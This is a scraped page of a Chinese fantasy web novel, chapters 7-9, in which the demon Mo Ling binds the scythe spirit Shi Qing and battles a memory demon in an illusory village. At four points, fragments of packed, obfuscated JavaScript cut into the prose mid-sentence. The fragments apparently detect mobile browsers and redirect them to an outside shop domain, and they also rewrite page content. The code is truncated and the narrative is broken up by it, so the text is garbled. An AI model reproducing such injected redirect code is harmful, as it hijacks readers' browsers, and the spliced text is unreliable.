0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535308|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莫凌紧攥双拳低下头，声音艰涩：“…是我多嘴。” 苍裂枭拍了拍莫凌的肩膀，转过身走进客堂内，莫凌依旧站在院中，他低着头紧咬着下唇，指尖攥得发白。 强者才有资格挑选奴隶，而弱者只有不断服从。 茯苓的话语依旧刻在他脑子里，挥之不去。 他袖中的噬青似乎感应到他的情绪，镰刀轻颤。 莫凌不爽的啧了一声，利用体内的星落双刀压制她的行动，低声警告：“想活着就老实点。” 语气中带有一丝怒火，像是在借机发泄。 噬青顿时安静下来。 不知过了多久，他才整理好情绪走回客堂。 刚到古宅莫凌没有仔细观察过，现在来看客堂真的是很平庸的小地方，破旧的房梁，满是蛛丝的桌椅，粗大的内柱上面是厚厚的灰尘，由此可见这里已经很久没人住了。 古宅之外一片混沌，东西难辨，连那大门也被重重结界封锁，他们如同被困于金丝笼中的麻雀。 “这么快就和我的影子玩累了？”门外传来熟悉的声音，莫凌还没来得及回头看，就见柳池言抱着一本书昂首阔步地走了进去，他简单擦拭身旁的椅子坐在苍裂枭对面。 莫凌扫视他一眼，淡淡道：“你也是影子。”声音很轻，却又十分肯定。 柳池言笑了笑，手拿茶杯浅浅喝上一口，脸上从容淡定貌似根本不想回答他：“妖王大人想知道事情我自会告知，但...” 他看向莫凌，语气带着轻蔑：“无关紧要的人就没必要知晓了。” “你！”莫凌气不打一处来，但被苍裂枭无情打断，“有道理，莫凌你先出去。” 莫凌看向苍裂枭淡定自若的样子，心有不爽，紧蹙眉头想追问：“可是...” “出去。”苍裂枭斥声道。 莫凌身子一颤，从始至终苍裂枭的目光都不曾落在他的身上。 他咬了咬牙，将心中的不悦压了下去，尽量用平和的语气道：“明白。” 他转身离开客堂来到庭院，回头发现房间的门已悄无声息地关上，一层熟悉的妖火结界在门上游走，将内外隔绝成两个世界。 与此同时，庭院两侧那些被木条锁住的房门，在阴影中仿佛咧开了无声嘲笑的嘴。 7. 枯叶复生 莫凌在院子里的枯树下已依靠良久，他抬眸望着那道屏障，心情渐渐变得烦躁起来。 他伸出手将噬青从袖中驱赶出来：“出来。”这把镰刀在他面前依旧是一副死气沉沉的样子，若不是它总是颤抖忌惮着什么，任谁也不会相信这把镰刀还有刀灵。 莫凌双手抱臂紧盯着它，沉声道：“做个交易，我将你从武器中解救出来，但你要对我唯命是从，永远。” 茯苓的话语，或许真的在他心底扎了根。莫凌原本并不在乎自己能不能变强，但总是听从别人的命令忍气吞声，那才是真正的弱者。 他死也不要！ 镰刀沉默了数秒，噬青将自己的灵识从镰刀抽离出来显现在他面前。 这次不再是孩童的模样，反而是位貌美的女子，披散着黑色短发，不知是人是妖，身穿白裙。 那双无神的眼眸看不出任何情绪，只见她不声不响地向后退了一步，仿佛这就是回应。 “恨我?”莫凌歪头道。 噬青低头不语。 莫凌轻笑一声说道：“也对，毕竟你的眼睛是我亲手砍下的。” 噬青闻声抬起头，紧握双拳似乎满是不甘。沉默片刻后，缓缓开口：“我确实恨你，但又无处可恨。若不是你，我可能早就死在那场混战中。我能感受到你的强大，无论是人性的扭曲，还是同类内心深埋的伤痛，在你眼中都无所遁形。既然如此又为什么要浪费法力去救一个毫无用武之力的人？” 她一边说，身形一边向后飘退，灵识如风中残烛般明灭不定，一点点消散于天地间。 莫凌见状眸光一沉，伸出手用链条将她拽回到自己身前：“你以为《冥妖卷》中被封印的都是没有脑子的废物吗？” 噬青被拽得一个踉跄，听到他这话疑惑反问他：“你什么意思？” 莫凌解开她身上的链条，说道：“茯苓若真想要你的命，你现在早已是一具白骨，根本没机会在这说风凉话。” 噬青被他这句话刺激到，咬着下唇心有不满：“我现在不人不鬼的模样说这些又有什么用，或许早在几千年前我就该死了，死亡或许是我唯一的解脱。” 她的声音很轻仿佛在自言自语，莫凌看着她慢慢远离自己，那缕灵识在院中肆意的飘荡。 噬青背对着他，淡淡道：“放弃吧，我活着本就是一场痛苦，经历过死亡再去活一遍亦是对自己生命的折磨，无用的。” 莫凌听到她有些哽咽的话语，眸色暗了暗。 望着那道孤寂的背影道：“不去尝试怎就笃定一定是痛苦...”暗暗叹息，试图与她共情，“我也是奉命唯谨的木偶，清楚你在担心什么。” 噬青嗤笑一声：“清楚？你没有经历过我的处境有什么资格说出这种话！”她猛地回过头，眼下流着血泪，那是灵魂内心的悲痛。 莫凌盯着她流出血泪，眸光黯淡几分，随后缓缓走近：“噬青，你太小看自己了，不要被过去的痛苦困住现在的你，我说要救你，就是带你走向希望。” 噬青没有回答，或许她也不明白自己该如何选择，低声道：“我何来的希望啊...” 庭院顿时变得安静，风裹挟着潮湿的腐朽味，枝头一片溃烂的枯叶，发出一声细微的脆响，翩然坠落。 莫凌余光瞥见，抬手便将其接入掌心。他声音幽沉地说道：“你知道吗，每片树叶在生长前都以为是大树不可分割的一部分，享受美好感受生机，但春生秋落，慢慢枯萎从枝桠上陨落，脱离滋养他们的根本，只剩下死亡。” 噬青没有说话，静静听他自言自语。 莫凌指尖轻抚叶脉：“但我却接住了。” 他将法力聚集在掌心，继续说道：“死亡并非唯一的终点，去迎接新生换一种活法，如何？” 说着，他手中的枯叶慢慢变回绿叶，再一次拥有一片生机，莫凌将嫩叶攥在手心里，道：“回看那所谓的根本，真的足矣将你逼到死亡吗？” 噬青沉默。 莫凌张开手，一道绿光在他掌心亮起，枝桠从中缓缓升起，他放下手，枝桠飘在空中缠绕在一起最后向噬青飞去：“你还有很多事没有做，你还没有真正举起手中的武器去将那些欺负你的人付出代价，还没有为自己认真活一次，更没有将那些看不起你的人狠狠踩在脚下。” 你的希望就是为自己而活。 噬青听到这些话身体一震，仿佛打开心境一般，半天说不出话。这时她感受到一股强大的法力正朝自己逼近，猛地回过身抬手想要挡住。 谁知，枝桠在她四周不断缠绕，绿色的光芒将其笼罩其中，噬青很谨慎的放下手，没有受到任何攻击有些疑惑，询问道：“你做了什么？” 莫凌笑而不语。 噬青没有得到回答变得更加谨慎，忽然间她感受到自己体内有源源不断的法力在进入，感觉很微妙，又很安心。 她眼睫微颤，沉浸在黑暗中双眸似乎有一股强光在不断占领，噬青不适的睁开眼睛，那双金瞳依旧如此耀眼，朦胧的视线感一眼望到树下莫凌的身影。 噬青一脸不可置信的看着他：“你……” 莫凌不紧不慢地走过去站在噬青身前，缓缓抬起手在她额头伸出一指轻轻一点：“茯苓能费尽心思控制你成为刀灵，绝对有你自己都未察觉的一面。”沉声道，“灵现。” 陡然间，一道蓝光朝着四面八方激射而去，周围的一切都停了下来，树枝停止了摇晃，水潭也停止了流动。 唯有莫凌的指尖还闪烁着无穷无尽的法力，他看向噬青的身后，嘴角勾起一抹冷笑，斩钉截铁道：“你可知你口中的废物，在别人眼中是多么高不可攀的存在。” 噬青身后出现一把巨大的黑色镰刀，闪烁着黑色的法力，刀尖锋刃无比，仅仅是一个虚影也能透露出死亡的气息，能让整个妖界都足以颤抖的凶器——劣魂斩。 刀身上凹凸不平的纹路，正是死神布下的重重封印。噬青虽是被选中之人，奈何此刻魂力微弱，竟连七成威力都难以施展。 一斩灭生机，二斩绝因果，三斩断轮回，四斩破虚妄，五斩逆法则。 任何妖魔鬼怪都抗不下三斩，这么危险的东西竟然会存活在她身上，也难怪茯苓会让那么多恶妖都听命于她。 但没有死神认可，在她手里就是一把死刃，毫无用处。 “能与死神掌握同一柄凶器的你，还觉得自己弱小吗？”莫凌散去法力，周围一切恢复正常，树枝依旧在微风中飞舞，水潭依旧在流动。 站在她面前伸出手，语气有些冰冷：“我可以给你所有的期望，身为妖我带你回妖界，身为灵我将护你所有，让你成为我手中最后的利刃。” 用我的血，换你的命。 你要为自己而活不是吗？ 噬青怔在原地，重见光明的金瞳剧烈震颤着，映出莫凌不容置疑的身影。 活着？多么望不可及的两个字，她似乎从没活过。 噬青缓缓闭上眼睛，那片由枯转荣的树叶仿佛心底重新生长。 [曾经在鬼界，有一个小女孩只是窥探花海中的美好，就被黑白无常用枷锁捆住吊在忘川；只是想变得强大，就被其他鬼差欺负废弃法力；只是想踏过奈何桥去寻找自己，可阎王殿却不认她的存在。 一个孤魂野鬼，被囚禁在鬼界几千年，逃不了，死不掉，就连孟婆汤都奈何不了她，只有冷漠暴力无视，鬼界是多么可笑的存在。 她的意识也开始慢慢变得薄弱，只记得自己叫噬青，噬血魂青。] 死神，多么可怕的存在。它的降临是她几千年来唯一看到的希望，心中的怨恨在那一刻彻底放大，想吞噬掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535309|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人的存在，想要所有人付出代价，想要真正的活着！ 现在，这个机会已经摆在面前，何须再逃。 噬青再次睁眼，金瞳中不再是仇恨，而是一种涅槃后的冰冷与决绝：“我要让这双眼看清所有践踏过我的人……是如何死在我脚下的。” 莫凌听到她的话，唇角勾起一抹笑：“看来你已经做出选择了。” 随后他将自己的血液滴入噬青掌心，呼吸间一道血契符文在二人脚下骤然亮起。 互相闭上眼睛，感受法力的波动。 莫凌引导法力构建出与魂灵一体的契约桥梁，噬青感到自己灵魂在半空中仿佛被剧烈撕扯后又缓缓重塑，一具由精纯法力和死神权柄共同铸就的新生肉身正在凝结。 莫凌脑中霎时闪过一些片段，是噬青过去所经历的记忆。他努力平静心情，不愿与那些记忆共情。 但短短几秒他的额头不断冒出冷汗，毕竟劣魂斩邪恶的气息不是常人所能承受的，再加上噬青心中也积有怨恨，感觉身体快要爆体而亡了。 莫凌紧闭着双眼，意识中他手持星落与死神正面对抗，那股杀气不断侵蚀他纯净的一面。 死神举起手中的镰刀毫不犹豫地砍下，莫凌将星落交叉在自己胸前将其挡住这股杀气，奈何对方实力远远不止这些，强大的冲击力再次将他击退战败。 莫凌不服输，眼睫压不住眼底翻涌的暗潮，他抬手擦去脸上擦伤的血液，身体慢慢从地上爬起，眼中闪过冰冷寒光。 他的意识被死神的气息吞噬，视线模糊，但依旧选择的拾起双刀，坚定不移地向前走，击退身边的黑暗。 声音暗哑：“死神又如何，你的强大我收下了。” 败？这个字在我面前永远不存在。 莫凌身上忽然弥漫出浓厚的法力，将黑暗彻底湮灭，他想激起心中的恶再次一战。 极大的压迫感让死神也怔在原地，莫凌将手中的星落注入法力，双刀融为一体，随后在胸前骤然横扫，冲击力足矣击退死神部分威压，那是一把由白骨和星砂组成的长枪——焚骨坠月。 但与此同时，焚骨坠月现世的刹那，让远在客堂的苍裂枭与高居九重天的天尊，心神俱是猛然一震。 不知过了多久，当莫凌再睁开眼睛时，噬青已经消失在眼前，他脚下的法阵渐渐暗淡消失不见。 残破的镰刀在嗡鸣中修复裂痕，暗光流转，藏于袖中。 莫凌揉了揉太阳穴，他不记得是如何战胜死神庞大的意识，只记得脑海里响起银铃般清脆的声响，耀眼的光芒将死神吞噬其中。 他未看见腰间的铃蝶，也未怀疑自己随手买的小玩物一直散发法力护着他的心神。 最后，他的意识看到一棵大树，一棵长满了粉紫色叶子的大树，在阳光的照耀下，散发着淡淡的金光，树枝上挂着一连串风铃。一位男子站在大树下，墨黑色长发在微风中飘荡，他正仰头望着树上的风铃，仿佛遥不可及。 莫凌摇摇头神志有些恍惚，低声自语：“那是谁...” 他放下手，闭上眼睛慢慢冷静下来，随后运用法力感受噬青与劣魂斩在体内安稳的情况，看来收服得很成功。但发现自身法力却不存在任何提升，似乎还被体内压制了。 莫凌有些不解，赶忙用法力检查自己的身体，没有发现任何问题。但劣魂斩到他手中能挥出的威力却只有三成左右。 这就意味着，即便被他收复也无法真正驾驭，因为死神并没有认可他。莫凌一想到这里，心里很是不满：“麻烦的东西。” 同时星落在他体内也有一丝不悦，仿佛对劣魂斩十分排斥。 星落厌弃劣魂的污浊，劣魂鄙夷星落的伪光。 无妨。 莫凌叹息。 心想着另寻其路，得到不属于的一切。 8. 自作聪明 与此同时神界大殿，万丈霞光转于琉璃穹顶之下，却照不透殿内永恒的孤寂与清冷，刚才小小的波动让坐在龙椅的天尊有些心神不宁。 “看到什么了？” 闻声望去，远处的黑影缓缓走近，直到阳光下她才显露出真容：她身材纤细肌肤白皙，眉眼细长，额头上有一道金色的印记。白衣镶着金色纹路，银白长发披在身后，头顶华丽金冠。 从内而外散发出纯净气质，又透着不容接近的矜贵。 可瞳孔却是灰色的，眼波清冷疏离，仿佛看破世间一切污秽都伤不及她一分。 声音温柔：“几百年间，我有多久没见到你这般拘谨了。”语气很平静。 天尊坐在高处皱起眉头俯瞰着她，仿佛对她的话很是不爽：“本尊的事情不需要你在这虚情假意。” 女子笑了笑没有说话，而是向空中伸出手，忽然一只铃蝶浮现在她指尖：“将你囚禁在这宫殿是为了你好，我说过小锦鲤的死，与你的位置无关...” 话音未落，数千银针猛地飞了过去，最后在她面前戛然而止，铃蝶的翅膀轻轻碰到银针时瞬间消散，女子依旧面不改色。 天尊紧皱眉头，强忍着怒火咬牙道：“你没有资格提她。”随着他话音落下，整座神殿的光线都为之一暗，四周壁上的明珠发出不堪重负的嗡鸣。 女子微抬眼眸对上他燃烧着火焰的蓝眸，沉默许久后，她伸出手指点在眼前的银针上，瞬间支离破碎。 悬浮的碎片在半空中重新凝聚在一起，光芒闪过那只铃蝶又回到她的手中。 “也罢，刚刚的波动也让我想起诸多过往。”女子看着手中的铃蝶，喃喃自语。 “可怜我的阿音，不知现在会在哪里？” 她手中的铃蝶像是受到什么指令，扇动起翅膀向窗外飞去与天空融为一体。 天尊忽然发出一声极轻的嗤笑，有些烦躁地揉了揉自己眉心，似乎对过去的往事很是抗拒：“他若知道你这般在乎一定会再次发疯吧。”他的声音嘶哑，充满了戏谑。 女子并未理会他这番话，转身走向不远处的棋盘前，不紧不慢地坐下。 “我只知消失的棋子无论经历什么都会再次回到棋盘，人也一样。”女子手执黑棋，稳稳地落在血棋旁边。 那棋盘并非木质，而是一片凝固的星空，每一颗棋子都仿佛是一个微缩的世界在她指尖生灭。 “再者，阿音可没有你们这般懦弱无能。”她的语气平淡，连正眼都没有给他。 天尊看着她的背影，拳头紧紧地握在一起，肩膀都有些微微颤抖。忽然他想到什么，不屑地哼了一声：“本尊已遣千悦去人界历练。” 女子手中的棋子微微一顿。 “人界再乱些又如何，本尊倒要看看你还能困住我几时。” 女子未抬头看他一眼，手中的白棋稳稳落下发出清脆的一声。与此同时天尊身上的枷锁又多了一条，封禁他掌管神界的一切权力。 天尊难以置信地看着身上新增的禁制，瞳孔因惊怒而震颤：“悸宛清！你身为三界的缔造者为了一己私欲竟敢...” “天尊莫不是忘了。”她忽然开口打断他，语气听不出任何情绪波动，仿佛只是拂去棋盘上的一粒微尘：“规则是我，我既是规则。予夺在我，不在你。” 神界再乱又怎样，任何人的死亡都不会改变三界的存在。神明，天尊，妖王都不过是可有可无的存在，掌管者也是要活在缔造者的施舍下。 天尊无法反驳，现在权柄暂被封禁，就代表着他不得不成为他最看不上的人界掌管者。 也必须要去守护，不然人界若消亡他也会受到重创。 “难怪司命会突然不顾任何阻拦来汇报人界的事情，一切都是你在布局对吧！你见我依旧对人界毫不在意，所以威胁了我的族人？！”下一秒他的怒吼便发不出任何声音，被强行噤声了。 “安静些。”悸宛清手中的棋子，不停地落下，“我又找不到他了。” 围着血棋的棋子越来越多，却无法掠夺那个位置，血棋象征在黑白之间，摇摆不定。 这血棋的背后，邪气浓重，像被一股无形的力量死死压制着。 一缕唯有落子人才能窥见的因果线，从棋中蜿蜒而出，穿破虚空，无声垂落。 最后落到那诡异的庭院中央。 树下的莫凌刚隐藏好劣魂斩在体内的气息，心下稍安，下一秒就见柳池言的分身从屋子里砰的一声飞出重重摔在地上。 莫凌瞳孔骤缩，僵在原地。视线顺着身影看去，那具分身已在火焰中化为灰烬，地上的法力残留应该是苍裂枭的妖火。 好奇柳池言到底说了什么能让他对一个分身下手如此之重。 “看什么呢？”苍裂枭若无其事地从客堂踏出。 刹那间，庭院里弥漫的薄雾仿佛被无形之火灼烧，剧烈翻涌着向两侧退散。 莫凌听到他的声音身体一震，回过头，强壮镇定道：“没什么。” 苍裂枭的目光越过他的身体望去那棵重新生长枝叶的银杏树：“金黄的叶子看上去生命很顽强啊，但在这里终归是假象。” 莫凌不语。 苍裂枭像是想起什么，忽然嘴角弯起一个弧度，放缓语气道：“忘记说了，柳池言并不是我们要捕捉的恶妖。” 这句话给莫凌心头上降下重重打击：“那为什么...”声音轻得几乎听不见。 “因为他提出了一个很不错的交易。”苍裂枭道。 莫凌没有问他是什么，就算问了也不会告诉他。 表面很是平静地站在树下，内心恨不得将他这种自私自利的混蛋当场撕成碎片！ 体内的劣魂斩似乎感受到他的情绪传来微微震动，不知是噬青的恐惧，还是死神的共鸣。 深吸一口气努力压制心中的怒火，身体却微微颤抖着，即便有再多不满也不过是无用功。 “那我需要做什么？”莫凌几乎是咬着牙问着。 这句话没有说‘我们’，因为已经无意义了。 苍裂枭不可能看不出他心中的怨气，他的目光似有实质，如同猛兽审视猎物般看穿一切，太过刺眼。 只见他嘴角一瞥，笑声很轻：“七日，如果你能在这个幻境找到柳池言的本体并杀了他。” 我可以给你一个答案，一个你最在意的答案。 语气带着一丝玩味的、冰冷的了解。 但这个交易对他来说未免太诱人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他还没反应过来，苍裂枭猛地伸出手掐住他的脖子摁在树干上，无法挣脱的窒息感从胸腔往颅顶蔓延，“有时我真的很讨厌你这自作聪明的把戏。” 声音冰冷刺骨，那双血眸又一次亮起倒映出他痛苦的表情：“服从，是你唯一活下去的选择。” 苍裂枭松开自己，靠在身后银杏树才勉强站直身体，那股窒息感迟迟未散去，猛咳几声急促呼吸着，无法再多言了。 “今日已经结束，明日我很期待你的表现。”他丢下这句话转身回到客堂，妖火再一次在木门上附加封印，把他拒之门外。 这是要他今夜在庭院休息？！ 三秒静默后，莫凌缓缓转头，脸色阴沉的怒视着那扇木门，每个字都像从牙缝中硬生生挤出来的：“苍.裂.枭.” 话落，忽地一拳重重砸在身旁的银杏树上。 树根瞬间发出撕裂声，刚刚重现的枝叶再一次枯萎，树干倾斜时发出巨大的轰隆声，扬起漫天灰烬与尘埃。 一股怒火从他眼中爆发出来，蓝眸闪过一丝寒光，连眼白都泛着暴戾的凶光。 总有一日，我要将你这副目中无人的嘴脸，彻底踩在脚下！ 9. 亡者低语 莫凌躺在刚刚被摧毁的银杏树上，他发现古宅无论怎么破坏都会自动恢复到最初。 过程无声无息，这个庭院总是透着一股令人毛骨悚然的死寂感，仿佛这迷雾的背后有一双无形的双手执拗地将一切调回最初的轨道。 莫凌弯曲着一条腿，背靠在树干上，抬起手看着掌心那枚由簪子化作的玉佩。 他尝试过注入法力却一点回应都没有。 看上去就是普普通通的物件，没什么特别之处。 说不上精美也谈不上普通，可偏偏在一堆物品中他却对它移不开眼。 做不到假装不在意，也做不到将其丢弃。 “你到底是谁？”莫凌笃定这个玉佩在冥冥之中指引着他，而这背后是看不见摸不透的存在。 忽然，他体内的劣魂斩与古宅地基下的怨气产生共鸣。 莫凌默默将玉佩收进自己衣襟，护在离自己心头最近的位置。 他知道，幻梦的第二境界开始了。 古宅悄然变化着，一束光射下突破雾霾照耀在他身下的银杏树。 枯萎的枝头慢慢开枝散叶，庭院也变得干净整洁。 村落的黑暗被这突如其来的光芒不断吞噬，直到周围的环境完整地呈现在眼前。 莫凌从树上跳下稳稳地落在地面，余光瞥向那扇紧闭的木门，上面已经没有妖火的封印。 苍裂枭已经不在这里了吗？ 莫凌没有细想，而是朝门外走去，刚步出庭院外面刚刚寂静的世界瞬间变得嘈杂。 人们凭空出现在街道上，他们忙忙碌碌，仿佛依旧活在这个世界一样。 每个村民顶着没有灵魂的躯壳，他们眼神空洞却要展现僵硬的笑容。 商贩的吆喝、孩童的嬉笑、人们的交谈声交织在一起形成一种缺乏生命力的背景音。 如此和谐的画面在莫凌眼中恰恰不同，他看到的是红岭村的大火，化作傀儡的村民，以及不该存在的柳池言。 一切的虚假美好都掩盖不住那些人悲痛的惨叫。 莫凌行走在崭新的红岭村幻象中，街道干净，屋舍俨然，甚至能看见窗内晃动的虚影。 而他那银白的发丝在人群意外地显眼，但无一人感觉奇怪，似乎他的出现是必然的事情。 袖中劣魂斩震动加剧，噬青的灵识传来简短话语：“大人，需要我打破幻象吗？” 劣魂斩的气息被压下后，这柄凶器在体内呈现出一种诡异的温顺，像是认定了这片滋养怨气与死亡的载体。 “不急。”莫凌忽然停下步伐，望着远处那格格不入的身影，“这里有恶妖的气息，可以和它好好玩玩。” 他循着那股气息，走向村中祠堂。 当莫凌踏入祠堂，那些低语骤然化作尖锐嘶鸣，直击他的大脑。 亡魂并非以狰狞鬼怪形象出现，而是一个半透明且不断重复生前痛苦瞬间的记忆残影。 不断在门槛绊倒又爬起的老人；抱着空襁褓哼唱的女子；围成团一起奔跑的孩子们...它们没有实体，更像是用灰烬和叹息凝成不断循环的悲剧剪影。 这些记忆冲击全被星刃吸收，被迫感受到人们当时内心的绝望，无数个嘶吼声挤破他的脑袋感觉都快炸了。 “吵死了。”莫凌烦躁地扶着额头厉声道。 “安静点！” 话音刚落，一缕青丝从他袖中飞出猛地斩断周围混乱的记忆迷雾，这才保持神智清明。 “一口气就能毁掉我所有的孩子，蛮有实力嘛。” 莫凌闻声看去，在祠堂深处不断飞出黑影，那是由数十个村民临终恐惧融合而成的扭曲灵体。 这是恶妖施展的法力，名为忆魂魔。 来到人界后，苍裂枭和他说过《冥妖卷》所有恶妖及弱点，不过几百种而已。 忆魂魔，同样擅长梦境，擅长窥视。 “你不被任何梦境困住，离开便是，何必与我硬碰硬。”莫凌语气虽平静，但他手中却已唤出星落双刀，一副随时准备应战的模样。 忆魂魔站在原地扭动着身体，没有立刻回应，更没有像其他恶妖一样去嘲讽，反而是上下打量着他。 “毫无绝望痛苦的记忆，小妖，你并不完整。” 莫凌听到它的话，幽深的紫眸中闪过一丝罕见的空茫与自我怀疑，身体瞬间僵住。 “绝望，迷茫，爱恨，悲痛，你可还记得什么。”忆魂魔飘荡在空中，灵体围绕着他继续说着，“就好像被无数条线绑住的傀儡，明明被人牵引却又不知往哪里走，是不是所谓的权利蒙蔽了你的双眼呢？” 仿佛灵魂深处有什么东西被这句话撬动。 在他眼神游离明显愣神时，忆魂魔察觉到这一点突然发起攻击，莫凌猛地回过神，余光捕捉到它冲向自己的杀意，侧身躲开，看准时机，紧接在身前双刀横斩，击散灵体。 忆魂魔不罢休，开始重聚身体准备再次攻击，嘲讽道：“废物，永远被当作提线木偶的废物！” 莫凌咬了咬牙，面对对方的挑衅紧握手中双刀，一股无名火涌上心头，要杀了它，杀了它！ 刚迈出一步想主动应战，胸膛突然散发出一股强烈地法力在制止他，那股强烈仿佛带着怒火在无声中狠狠扇了他一巴掌，顿时冷静下来了，站在原地开始反思自己为什么会有一团火气。 细观察，他发现眼前这只妖并不是以本体出现的，《冥妖卷》记载过，忆魂魔如果不是以本体直接出现，那么他的攻击多半就是假的，他们能够看透对方所在乎的一切，利用这一点扩大心中的焦虑、怒火、悲伤，情绪一旦失控，便再也没有生还的机会。 建立梦境，相信梦境，沉浸梦境，死于梦境。 更何况外面还有柳池言双重梦境，三重梦境都是无趣的把戏。 莫凌放下双刀，对着它扬了扬下巴，一脸无所畏惧地样子，脸上似乎写着“有本事你就杀了我”，等着对方主动攻击。 忆魂魔明显被他嚣张的样子气到了：“那就试试看！”它再次冲过去，莫凌淡定的抬起手，指尖流出一滴血掉落在地面，待它靠近时，仅一念之间，血笼猝然拔地而起拦住所有攻击。 不等对方反应，莫凌腾空而起，双刀并未直接挥向恶妖，而是在空中划出两道交织的弧光，湛蓝如凝冰。 双刀交击，贯入天灵。 法力穿透忆魂魔灵体发出砰的巨响，再次击散，没有伤口，没有血迹，但这一击足矣让他本体也受重创了。 光芒散尽，血笼毁灭，他轻盈点地，落于这混乱之中。 星刃的能力再次窥探到忆魂魔深处有关红岭村的痛苦。 村民们并非意外被困，反而是在祠堂结识到一个从天而降冒充神者的柳池言。 忆魂魔被双刀击碎的灵体如黑烟般溃散，旋即又在数丈外迅速汇聚成型。 “窥探记忆？”忆魂魔有些意外的看着他，声音沙哑，喉间溢出低笑声。 “真是越来越好奇沉淀在你记忆深处的痛苦，会是怎样的味道。”忆魂魔重凝身体后，开始召唤小鬼想要侵蚀他的记忆，制造一场永睡不醒的梦境，最后被噩梦吞噬永远死亡。 “噬青。”莫凌已经清楚对方的意图，不愿恋战。忆魂魔的弱点很难击中，再加上星刃的能力也让他有些困扰，如此麻烦的事情不如快些处理。 他默默收起星落：“解决掉。” 话音刚落，他袖中一道暗影无声掠出。 噬青的本体并未显形，而那双处于黑暗中点亮的金瞳好似降临在另一维度的死神之眼，死死盯着对方。 刹那间，忆魂魔所在的空间仿佛被无形之力剥离、压缩，它被困在其中，攻击已然变得徒劳，无法穿透无尽虚影。 它如同渺小的蚂蚁被人掌握在手中，噬青眼中闪过寒芒，下一秒，一道吞噬所有光线的黑痕自上而下悄然挥下。 没有巨响，没有华光，只有最纯粹的消亡。 无视掉所有防御，直击弱点，斩灭所有生机。 灵体湮灭的一瞬，祠堂内那些重复痛苦动作的记忆残影齐齐一滞，仿佛断线的木偶，在空中疯狂的乱窜，向四周的墙壁、地砖、以及外面的空气飞走，直至消失不见。 莫凌并不在意那些虚假的孤魂野鬼，转身准备离开祠堂时，身后忆魂魔破碎的身躯中残留的黑影如同迷路的孩子一样，都想要强占他的身体得到法力滋养。 还未等它们触碰到他，突然一道冲击将它们全部冲散。莫凌发丝微乱，随后不紧不慢地回过头，看向手持劣魂斩的噬青。 “还算有点用。”莫凌道。 但当噬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535311|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青转身，那双金眸映入他眼帘时，心中莫名有些烦躁。 莫凌啧了一声，抬起手，指尖在她额前轻轻一点。 银铃轻响，一条黑色缚目带遮住了噬青的眼睛他，沉声道：“别再让我看到这双眼睛，不然我不介意再砍你一次。” 他并不需要一双看清真相的眼睛，而是一把听话且完全服从于他的利刃。 “是。”噬青没有委屈，没有质问。她缓缓地低下头，像是一个无声的回应，也像是彻底的交付，随后缄默地回到他袖中。 所谓的枯叶复生不过是个骗局，在她答应的那一刻再也没有退路了。 莫凌收回手，指尖似乎残留着一丝陌生的冰冷触感。 讨厌金色...这个认知不知为何在他脑海如此强烈。 强烈到令人心痛，仿佛那是个永远无法原谅的事情。 莫凌感觉颅内的嗡鸣与杂乱的记忆搅作一团，他强迫自己掐断所有思绪，转身快步地离开气氛压抑的祠堂。 刚刚与忆魂魔交战时，红岭村过往的事情都浮现在他脑海中。 共情...窥探...内心...记忆。 “该死的能力。”莫凌不爽地嘟囔一句，“真令人作呕。”他走到一块空地冷静了好久。 忆魂魔说他记忆不是完整的，阁主告诉他不要忘记自己是谁。 莫凌当然知道内心深处有一处被禁锢的枷锁，当他五百年前碰到苍裂枭的时候就能感觉到，而那道封印似乎是他自己也不愿触碰的伤疤。 他深吸一口气想要平复内心的烦躁不安，可怎么都静不下心。 顿然间，莫凌胸口那枚玉佩传来一丝微弱到几乎错觉的暖意，让他浑身一震，蓦地伸手将玉佩拿出仔细端详。 没有任何变化，感受不到法力，甚至那短暂暖意到他手中都恢复了冰冷，可那短短一瞬却奇异地抚平了他心头因怨气共鸣的烦躁。 莫凌眼眸倒映着那枚玉佩，神情中连他自己也没发觉到的迷茫。 他掌心因握紧玉佩而发抖，心想：如果你能解救我就好了。 时间如同暂停一般，梦境感受不到风从头顶拂过，一片死寂中他好像能在毫无回应的玉佩中得到些许安慰。 不知过了多久，莫凌才静下心将玉佩重新放入怀中，抬眼的刹那，眉眼中的迷茫消失不见，眼底只剩下泛着冷硬的寒光。 走回到村落边缘开始探索刚才摄取的记忆... 红岭村，一个早在几百年前就该灭亡的村落，柳池言出现时，这里正处于一场可怕的瘟疫爆发。 柳池言不过是用法力治好一些人，就奉为神明降临的救世主，将他推上神坛最尊贵的位置上，人们纷纷跪拜，祈求瘟疫退散。 莫凌站在最高点，将下方这些还在惺惺作假的傀儡尽收眼底。 一群求生而亡的蠢货。 